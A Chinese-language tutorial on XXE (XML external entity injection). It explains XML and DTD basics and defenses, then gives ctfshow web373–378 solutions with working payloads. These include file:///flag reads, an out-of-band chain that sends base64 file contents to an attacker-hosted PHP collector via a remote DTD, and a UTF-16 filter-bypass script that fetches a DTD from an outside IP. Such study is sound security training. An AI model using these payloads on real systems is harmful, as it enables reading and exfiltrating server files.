前言

[xxe漏洞的学习与利用总结]

xml基础知识

要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
xml文档的构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

元素
属性
实体
PCDATA
CDATA

下面是每个构建模块的简要描述。

元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
实例:

<body>body text in between</body>
<message>some message in between</message>

空的 HTML 元素的例子是 “hr”、”br” 以及 “img”。

属性

属性可提供有关元素的额外信息
实例:

<img src="computer.gif" />
实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。
DTD(文档类型定义)

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明

ex: <!DOCTYOE test any>

完整实例:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
外部声明(引用外部DTD)

ex: <!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

完整实例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

而note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体

一般实体的声明语法:

引用实体的方式:&实体名;

参数实体只能在DTD中使用,参数实体的声明格式:

引用实体的方式:%实体名;

内部实体声明

ex:<!ENTITY eviltest "eviltest">

完整实例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>
外部实体声明

完整实例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。
XXE的攻击与危害(XML External Entity)

何为XXE?

答: xxe也就是xml外部实体注入。也就是上文中加粗的那一部分。

怎样构建外部实体注入?

方式一:直接通过DTD外部实体声明
方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
方式三:通过DTD外部实体声明引入外部实体声明(好像有点拗口,其实意思就是先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明)

产生哪些危害?

XXE危害1:读取任意文件
XXE危害2:执行系统命令
XXE危害3:探测内网端口
XXE危害4:攻击内网网站

如何防御xxe攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

web373-378

web373(有回显xxe 外部实体)

<?php

error_reporting(0);
// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
  	// 加载xml实体,参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  	// 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
  	// 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

highlight_file(__FILE__);    

注意这里是 echo $creds->ctfshow;,要将返回的数据包括在 <ctfshow> 中。
payload:

<?xml version="1.0"?>
<!DOCTYPE hsad [
<!ELEMENT hsad ANY>
<!ENTITY payload SYSTEM "file:///flag">
]>
<hsad>
    <ctfshow>
        &payload;
    </ctfshow>
</hsad>

web374(无回显xxe 外部实体)

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

没有回显,要把读取到的内容也就是flag传到远程服务器查看

在服务器上创建xxe.phppayload.dtd文件

# xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>
# payload.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx/xxe.php?q=%file;'>"
>
%all;

然后发送POST请求

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/payload.dtd">
%dtd;
%send;
] >

web375

 <?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

相较于上题,多了一个正则表达式,过滤了<?xml version="1.0"这个字符串

可以多打几个空格绕过或者直接不写声明也可以

上题做法同样可以

web376

相较于上题,过滤了<?xml version="1.0"这个字符串同时,/i模式把大小写都过滤了。

依旧以上方法

web377(UTF-16)

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);   

过滤了http

可以用UTF-16绕过

import requests

url = 'http://ee601bc7-6229-49ad-af80-541d5a0b662c.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://156.238.233.95/xxe/payload.dtd">
%dtd;
%send;
] >"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

web378

开始是个登录框,随便输入后抓包

<!DOCTYPE ANY [
<!ENTITY hsad SYSTEM "file:///flag">
]>
<user><username>&hsad;</username><password>&hsad;</password></user>

直接打就行